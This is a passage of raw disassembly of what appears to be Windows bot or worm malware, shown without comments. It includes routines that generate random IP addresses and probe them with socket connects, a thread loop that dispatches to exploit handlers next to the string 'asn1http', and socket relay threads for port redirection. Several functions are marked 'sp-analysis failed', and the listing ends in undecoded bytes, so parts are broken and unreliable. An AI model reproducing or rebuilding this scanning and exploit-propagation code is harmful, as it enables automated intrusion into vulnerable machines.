arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_413DB0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_405B22
		xor	eax, eax
		jmp	short loc_405B93
; ---------------------------------------------------------------------------


loc_405B22:				; CODE XREF: sub_405AFA+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_414B30
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_405B4F
		call	sub_413609
		mov	[ebp+var_C], eax


loc_405B4F:				; CODE XREF: sub_405AFA+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_405B5C
		call	sub_413609
		mov	[ebp+var_8], eax


loc_405B5C:				; CODE XREF: sub_405AFA+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_405B69
		call	sub_413609
		mov	[ebp+var_4], eax


loc_405B69:				; CODE XREF: sub_405AFA+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_405B75
		call	sub_413609


loc_405B75:				; CODE XREF: sub_405AFA+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	ds:dword_42E358[ecx*8],	eax


loc_405B93:				; CODE XREF: sub_405AFA+26j
		pop	esi
		leave
		retn
sub_405AFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405B96	proc near		; CODE XREF: sub_405C33+B8p

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	ds:dword_42F788
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_405BBF
		xor	eax, eax
		jmp	short loc_405C2E
; ---------------------------------------------------------------------------


loc_405BBF:				; CODE XREF: sub_405B96+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	ds:dword_42F708
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	ds:dword_42F7A4
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	ds:dword_42F6B0
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	ds:dword_42F6F0
		push	esi
		mov	edi, eax
		call	ds:dword_42F7A0
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_405C2E:				; CODE XREF: sub_405B96+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_405B96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405C33	proc near		; DATA XREF: sub_405E47+13Bo

var_2A8		= dword	ptr -2A8h
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		call	ds:dword_41F044	; GetTickCount
		push	eax
		call	sub_4135FF
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_405C7A:				; CODE XREF: sub_405C33+200j
		mov	eax, ds:dword_43489C[ebx]
		cmp	ds:dword_42E35C[eax*8],	0
		jz	loc_405E38
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_405CA4
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_405AFA
		pop	ecx
		jmp	short loc_405CA9
; ---------------------------------------------------------------------------


loc_405CA4:				; CODE XREF: sub_405C33+60j
		call	sub_405AB2


loc_405CA9:				; CODE XREF: sub_405C33+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	ds:dword_43489C[ebx]
		push	[ebp+var_3C]
		push	edi
		call	ds:dword_42F794
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_423A28
		push	eax
		call	sub_4135AD
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_434698[ebx]
		push	eax
		call	sub_4135AD
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_405B96
		add	esp, 2Ch
		cmp	eax, 1
		jnz	loc_405E28
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_405D7D
		push	offset dword_42ECB8
		call	ds:dword_41F0A0	; RtlEnterCriticalSection
		push	[ebp+var_3C]
		push	edi
		call	ds:dword_42F794
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_4239EC
		push	eax
		call	sub_4135AD
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_405D5F
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_405D53
		lea	eax, [ebp+var_140]


loc_405D53:				; CODE XREF: sub_405C33+118j
		push	eax
		push	[ebp+var_40]
		call	sub_4110B0
		add	esp, 14h


loc_405D5F:				; CODE XREF: sub_405C33+FDj
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_409615
		mov	[esp+2A8h+var_2A8], offset dword_42ECB8
		call	ds:dword_41F09C	; RtlLeaveCriticalSection
		jmp	loc_405E28
; ---------------------------------------------------------------------------


loc_405D7D:				; CODE XREF: sub_405C33+CDj
		push	edi
		call	ds:dword_42F794
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_4135AD
		mov	eax, [ebp+var_20]
		imul	eax, 3Ch
		add	eax, offset aAsn1http_0	; "asn1http"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_4135AD
		add	esp, 10h
		cmp	[ebp+var_C0], 0
		lea	eax, [ebp+var_C0]
		jnz	short loc_405DC1
		lea	eax, [ebp+var_140]


loc_405DC1:				; CODE XREF: sub_405C33+186j
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_4135AD
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_164], eax
		imul	eax, 3Ch
		sub	esp, 0BCh
		mov	[ebp+var_168], esi
		lea	esi, [ebp+var_20C]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	ds:off_4236A4[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_405E28:				; CODE XREF: sub_405C33+C3j
					; sub_405C33+145j
		push	7D0h
		call	ds:dword_41F058	; Sleep
		jmp	loc_405C7A
; ---------------------------------------------------------------------------


loc_405E38:				; CODE XREF: sub_405C33+55j
		push	esi
		call	sub_413375
		pop	ecx
		push	0
		call	near ptr 0A70000h
		pop	eax
sub_405C33	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405E47	proc near		; DATA XREF: seg000:0040E52Fo
					; seg000:004100C3o

var_1CC		= byte ptr -1CCh
var_14C		= byte ptr -14Ch
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_15E		= dword	ptr  166h

		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	ds:dword_42F748
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	ds:dword_42E358[ecx*8],	eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	near ptr sub_40571E
		push	8
		call	sub_4132A1
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_405F15
		mov	esi, offset dword_42ECB8
		push	esi
		call	ds:dword_41F0A8	; RtlDeleteCriticalSection
		push	80000400h
		push	esi
		call	ds:dword_41F0A4	; InitializeCriticalSectionAndSpinCount
		test	eax, eax
		jnz	short loc_405F15
		lea	eax, [ebp+var_1CC]
		push	offset unk_423B6C
		push	eax
		call	sub_4135AD
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_405EFF
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_4110B0
		add	esp, 14h


loc_405EFF:				; CODE XREF: sub_405E47+99j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_409615
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_405F15:				; CODE XREF: sub_405E47+63j
					; sub_405E47+7Fj
		mov	eax, [ebp+var_2C]
		mov	esi, ds:dword_41F058
		mov	edi, ebx
		mov	ds:dword_42E35C[eax*8],	ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_405FE2


loc_405F33:				; CODE XREF: sub_405E47+195j
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_423B20
		push	eax
		call	sub_4135AD
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	8
		push	eax
		call	sub_413059
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	ds:dword_43489C[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_405C33
		push	ebx
		push	ebx
		call	ds:dword_41F06C	; CreateThread
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4348AC[ecx], eax
		jz	short loc_405FAD


loc_405FA2:				; CODE XREF: sub_405E47+164j
		cmp	[ebp+var_4], ebx
		jnz	short loc_405FD4
		push	1Eh
		call	esi ; dword_41F058
		jmp	short loc_405FA2
; ---------------------------------------------------------------------------


loc_405FAD:				; CODE XREF: sub_405E47+159j
		call	ds:dword_41F068	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_423AD0
		push	eax
		call	sub_4135AD
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_409615
		add	esp, 10h


loc_405FD4:				; CODE XREF: sub_405E47+15Ej
		push	1Eh
		call	esi ; dword_41F058
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_405F33


loc_405FE2:				; CODE XREF: sub_405E47+E6j
		cmp	[ebp+var_30], ebx
		jz	loc_40608C
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi ; dword_41F058


loc_405FF7:				; CODE XREF: sub_405E47+250j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, ds:dword_42E358[eax*8]
		push	eax
		call	ds:dword_42F794
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_423A78
		push	eax
		call	sub_4135AD
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_406045
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_4110B0
		add	esp, 14h


loc_406045:				; CODE XREF: sub_405E47+1DFj
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_409615
		mov	eax, [ebp+var_2C]
		mov	[esp-166h+arg_15E], 0BB8h
		mov	ds:dword_42E35C[eax*8],	ebx
		call	esi ; dword_41F058
		push	8
		call	sub_4132A1
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40607C
		push	offset dword_42ECB8
		call	ds:dword_41F0A8	; RtlDeleteCriticalSection


loc_40607C:				; CODE XREF: sub_405E47+228j
		push	[ebp+var_2C]
		call	sub_413375
		pop	ecx
		push	ebx
		call	near ptr 0A70000h
		sahf


loc_40608C:				; CODE XREF: sub_405E47+19Ej
					; sub_405E47+25Dj
		mov	eax, [ebp+var_2C]
		cmp	ds:dword_42E35C[eax*8],	1
		jnz	loc_405FF7
		push	7D0h
		call	esi ; dword_41F058
		jmp	short loc_40608C
sub_405E47	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4060A6	proc near		; DATA XREF: seg000:0040E906o

var_34C		= byte ptr -34Ch
var_14C		= byte ptr -14Ch
var_148		= dword	ptr -148h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 34Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		push	10h
		mov	[eax+120h], edi
		pop	ebx
		lea	eax, [ebp+var_10]
		push	ebx
		push	esi
		push	eax
		call	sub_413630
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_40]
		call	ds:dword_42F708
		push	6
		push	edi
		push	2
		mov	[ebp+var_E], ax
		mov	[ebp+var_C], esi
		mov	[ebp+arg_0], ebx
		call	ds:dword_42F788
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40620A
		mov	eax, [ebp+var_3C]
		push	edi
		imul	eax, 234h
		push	401h
		push	esi
		push	ebx
		mov	ds:dword_4348A4[eax], ebx
		call	ds:dword_42F624
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_42F734
		test	eax, eax
		jnz	loc_40620A
		push	0Ah
		push	ebx
		call	ds:dword_42F730
		test	eax, eax
		jnz	loc_40620A


loc_406150:				; CODE XREF: sub_4060A6+BEj
					; sub_4060A6+13Fj
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		call	ds:dword_42F79C
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_406150
		movzx	eax, [ebp+var_22]
		push	[ebp+var_3C]
		mov	[ebp+var_148], edi
		mov	[ebp+var_2C], esi
		push	eax
		push	[ebp+var_20]
		call	ds:dword_42F794
		push	eax
		lea	eax, [ebp+var_34C]
		push	offset unk_423C08
		push	eax
		call	sub_4135AD
		push	edi
		lea	eax, [ebp+var_34C]
		push	10h
		push	eax
		call	sub_413059
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	ds:dword_43489C[eax], ecx
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_14C]
		push	esi
		push	eax
		push	offset loc_40622E
		push	esi
		push	esi
		call	ds:dword_41F06C	; CreateThread
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	ds:dword_4348AC[ecx], eax
		jz	short loc_4061F5


loc_4061E2:				; CODE XREF: sub_4060A6+14Dj
		cmp	[ebp+var_2C], esi
		jnz	loc_406150
		push	32h
		call	ds:dword_41F058	; Sleep
		jmp	short loc_4061E2
; ---------------------------------------------------------------------------


loc_4061F5:				; CODE XREF: sub_4060A6+13Aj
		call	ds:dword_41F068	; RtlGetLastWin32Error
		push	eax
		push	offset unk_423BB8
		call	sub_409689
		pop	ecx
		pop	ecx
		jmp	short loc_40620D
; ---------------------------------------------------------------------------


loc_40620A:				; CODE XREF: sub_4060A6+61j
					; sub_4060A6+93j ...
		mov	edi, [ebp+arg_0]


loc_40620D:				; CODE XREF: sub_4060A6+162j
		push	edi
		call	ds:dword_42F7A0
		push	ebx
		call	ds:dword_42F7A0
		push	[ebp+var_3C]
		call	sub_413375
		pop	ecx
		push	esi
		call	near ptr 0A70000h
		movsb
		pop	edi
		pop	esi
		pop	ebx
sub_4060A6	endp ; sp-analysis failed



loc_40622E:				; DATA XREF: sub_4060A6+11Co
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_413E30
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	ds:dword_42F788
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_4063E4
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_413630
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	ds:dword_42F708
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	ds:dword_42F748
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_4062BE
		lea	eax, [ebp-13Ch]
		push	eax
		call	ds:dword_42F78C
		jmp	short loc_4062CC
; ---------------------------------------------------------------------------


loc_4062BE:				; CODE XREF: seg000:004062ADj
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	ds:dword_42F6C0


loc_4062CC:				; CODE XREF: seg000:004062BCj
		cmp	eax, edi
		jz	loc_4063E4
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	ds:dword_42F6B0
		cmp	eax, 0FFFFFFFFh
		jz	loc_4063E4
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	ds:dword_42F794
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_423CB4
		push	eax
		call	sub_4135AD
		push	esi
		lea	eax, [ebp-344h]
		push	10h
		push	eax
		call	sub_413059
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_4348A4[ebx]
		mov	ds:dword_43489C[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	ds:dword_4348A8[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_406415
		push	edi
		push	edi
		call	ds:dword_41F06C	; CreateThread
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	ds:dword_4348AC[ecx], eax
		jz	short loc_4063D1


loc_40637E:				; CODE XREF: seg000:0040638Bj
		cmp	[ebp-20h], edi
		jnz	short loc_40638D
		push	32h
		call	ds:dword_41F058	; Sleep
		jmp	short loc_40637E
; ---------------------------------------------------------------------------


loc_40638D:				; CODE XREF: seg000:00406381j
		mov	ebx, 1000h


loc_406392:				; CODE XREF: seg000:004063CDj
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_413630
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	ds:dword_42F720
		cmp	eax, edi
		jle	short loc_4063E4
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_42F758
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406392
		jmp	short loc_4063E4
; ---------------------------------------------------------------------------


loc_4063D1:				; CODE XREF: seg000:0040637Cj
		call	ds:dword_41F068	; RtlGetLastWin32Error
		push	eax
		push	offset unk_423C60
		call	sub_409689
		pop	ecx
		pop	ecx


loc_4063E4:				; CODE XREF: seg000:00406272j
					; seg000:004062CEj ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	ds:dword_4348A4[eax]
		call	ds:dword_42F7A0
		push	dword ptr [ebp+8]
		call	ds:dword_42F7A0
		push	dword ptr [ebp-4]
		call	sub_413375
		pop	ecx
		push	edi
		call	near ptr 0A70000h
		push	ss
		pop	edi
		pop	esi
		pop	ebx


loc_406415:				; DATA XREF: seg000:0040635Eo
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_413E30
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_40644C:				; CODE XREF: seg000:00406491j
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_413630
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	ds:dword_4348A8[esi]
		call	ds:dword_42F720
		test	eax, eax
		jle	short loc_406493
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	ds:dword_4348A4[esi]
		call	ds:dword_42F758
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40644C


loc_406493:				; CODE XREF: seg000:00406476j
		push	ds:dword_4348A8[esi]
		call	ds:dword_42F7A0
		push	dword ptr [ebp-14h]
		call	sub_413375
		pop	ecx
		push	0
; ---------------------------------------------------------------------------
		dw 51E8h
		dd 0B700669Bh
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi


loc_4064B2:				; DATA XREF: seg000:00410C0Ao
		push	ebp
		mov	ebp, esp
		sub	esp, 2D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	esi, eax
		pop	ebx
		lea	edi, [ebp-0D4h]
		push	2Ch
		mov	[ebp-4], ebx
		pop	ecx
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		mov	[eax+0A8h], edi
		push	ebx
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		call	sub_413630
		add	esp, 0Ch
		mov	word ptr [ebp-14h], 2
		push	dword ptr [ebp-40h]
		call	ds:dword_42F708
		push	6
		push	edi
		push	2
		mov	[ebp-12h], ax
		mov	[ebp-10h], esi
		call	ds:dword_42F788
		mov	edi, eax
		mov	eax, [ebp-3Ch]
		imul	eax, 234h
		push	ebx
		mov	ds:dword_4348A4[eax], edi
		lea	eax, [ebp-14h]
		push	eax
		push	edi
		call	ds:dword_42F734
		test	eax, eax
		jnz	loc_406654
		push	0Ah
		push	edi
		call	ds:dword_42F730
		test	eax, eax
		jnz	loc_406654
		push	dword ptr [ebp-40h]
		push	dword ptr [ebp-0D4h]
		call	sub_408619
		pop	ecx
		push	eax
		lea	eax, [ebp-2D4h]
		push	offset dword_423DF4
		push	eax
		call	sub_4135AD
		add	esp, 10h
		cmp	[ebp-30h], esi
		jnz	short loc_40658D
		push	esi
		lea	eax, [ebp-2D4h]
		push	dword ptr [ebp-34h]
		push	eax
		lea	eax, [ebp-0D0h]
		push	eax
		push	dword ptr [ebp-0D4h]
		call	sub_4110B0
		add	esp, 14h


loc_40658D:				; CODE XREF: seg000:0040656Bj
					; seg000:00406624j ...
		lea	eax, [ebp-2D4h]
		push	eax
		call	sub_409615
		pop	ecx
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-24h]
		push	eax
		push	edi
		call	ds:dword_42F79C
		push	dword ptr [ebp-3Ch]
		mov	ebx, eax
		movzx	eax, word ptr [ebp-22h]
		push	eax
		mov	[ebp-28h], esi
		push	dword ptr [ebp-20h]
		call	ds:dword_42F794
		push	eax
		lea	eax, [ebp-2D4h]
		push	offset unk_423D9C
		push	eax
		call	sub_4135AD
		push	ebx
		lea	eax, [ebp-2D4h]
		push	11h
		push	eax
		call	sub_413059
		mov	[ebp-38h], eax
		imul	eax, 234h
		mov	ecx, [ebp-3Ch]
		add	esp, 20h
		mov	ds:dword_43489C[eax], ecx
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-0D4h]
		push	esi
		push	eax
		push	offset loc_4066B7
		push	esi
		push	esi
		call	ds:dword_41F06C	; CreateThread
		mov	ecx, [ebp-38h]
		imul	ecx, 234h
		cmp	eax, esi
		mov	ds:dword_4348AC[ecx], eax
		jz	short loc_406634


loc_406621:				; CODE XREF: seg000:00406632j
		cmp	[ebp-28h], esi
		jnz	loc_40658D
		push	5
		call	ds:dword_41F058	; Sleep
		jmp	short loc_406621
; ---------------------------------------------------------------------------


loc_406634:				; CODE XREF: seg000:0040661Fj
		call	ds:dword_41F068	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-2D4h]
		push	offset unk_423D50
		push	eax
		call	sub_4135AD
		add	esp, 0Ch
		jmp	loc_40658D
; ---------------------------------------------------------------------------


loc_406654:				; CODE XREF: seg000:0040652Dj
					; seg000:0040653Ej
		push	edi
		call	ds:dword_42F7A0
		push	dword ptr [ebp-40h]
		lea	eax, [ebp-2D4h]
		push	offset unk_423D0C
		push	eax
		call	sub_4135AD
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_406697
		push	esi
		lea	eax, [ebp-2D4h]
		push	dword ptr [ebp-34h]
		push	eax
		lea	eax, [ebp-0D0h]
		push	eax
		push	dword ptr [ebp-0D4h]
		call	sub_4110B0
		add	esp, 14h


loc_406697:				; CODE XREF: seg000:00406675j
		lea	eax, [ebp-2D4h]
		push	eax
		call	sub_409615
		push	dword ptr [ebp-3Ch]
		call	sub_413375
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 0A70000h
		mov	ebx, [edi+5Eh]
		pop	ebx


loc_4066B7:				; DATA XREF: seg000:00406601o
		push	ebp
		mov	ebp, esp
		sub	esp, 5D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	2Ch
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-0C8h]
		rep movsd
		mov	esi, [ebp-2Ch]
		push	1
		mov	[ebp+8], esi
		imul	esi, 234h
		pop	edi
		lea	esi, dword_4348A4[esi]
		mov	[eax+0ACh], edi
		xor	ebx, ebx
		mov	eax, [esi]
		mov	dword ptr [ebp-8], 5
		mov	[ebp-5D0h], eax
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		lea	eax, [ebp-5D4h]
		push	ebx
		push	eax
		push	ebx
		mov	[ebp-4], ebx
		mov	[ebp-5D4h], edi
		call	ds:dword_42F6F0
		test	eax, eax
		jnz	short near ptr loc_406737+1
		push	dword ptr [esi]
		call	ds:dword_42F7A0
		push	dword ptr [ebp+8]
		call	sub_413375
		pop	ecx
		push	ebx
		call	near ptr 0A70000h


loc_406737:				; CODE XREF: seg000:0040671Ej
		and	edx, [ebx-73h]
		test	[eax], esi
		sti
; ---------------------------------------------------------------------------
		db 2 dup(0FFh),	68h
		dd 408h, 0FF36FF50h, 42F72015h,	7FC08500h, 0FF36FF18h
		dd 42F7A015h, 875FF00h,	0CC14E8h, 0E8535900h, 669898h
		dd 30BD807Dh, 4FFFFFBh,	1ED850Fh, 0BD800000h, 0FFFFFB31h
